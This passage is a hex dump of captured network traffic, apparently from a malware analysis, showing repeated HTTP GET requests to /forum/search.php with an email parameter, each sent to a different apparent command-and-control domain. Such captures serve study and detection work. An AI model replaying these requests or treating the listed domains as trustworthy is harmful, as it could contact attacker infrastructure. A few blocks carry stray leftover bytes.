0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   206a6f6e 64697265 742e636f 6d0d0a0d    jondiret.com...
0x00000070 (00112)   0a0d0a0d 0a0a0d0a                     ........

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   2062696e 65726174 2e636f6d 0d0a0d0a    binerat.com....
0x00000070 (00112)   0a0d0a0d 0a0a0d0a                     ........

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20686572 6f6c6f70 63617a65 72732e63    herolopcazers.c
0x00000070 (00112)   6f6d0d0a 0d0a0d0a                     om......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20766164 61786572 2e636f6d 0d0a0d0a    vadaxer.com....
0x00000070 (00112)   6f6d0d0a 0d0a0d0a                     om......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20666f6e 746f7265 642e636f 6d0d0a0d    fontored.com...
0x00000070 (00112)   0a6d0d0a 0d0a0d0a                     .m......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20616465 72696e6f 2e636f6d 0d0a0d0a    aderino.com....
0x00000070 (00112)   0a6d0d0a 0d0a0d0a                     .m......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   2066616c 61746572 6573742e 636f6d0d    falaterest.com.
0x00000070 (00112)   0a0d0a0a 0d0a0d0a                     ........

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   206b6c65 73746172 2e636f6d 0d0a0d0a    klestar.com....
0x00000070 (00112)   0a0d0a0a                              ....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   206d6961 6e61662e 636f6d0d 0a0d0a0a    mianaf.com.....
0x00000070 (00112)   0a0d0a0a                              ....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   206e6169 6d696564 2e636f6d 0d0a0d0a    naimied.com....
0x00000070 (00112)   0a0d0a0a                              ....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   2064656e 676f6461 722e636f 6d0d0a0d    dengodar.com...
0x00000070 (00112)   0a0d0a0a                              ....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   2062657a 65646574 652e636f 6d0d0a0d    bezedete.com...
0x00000070 (00112)   0a0d0a0a                              ....


Strings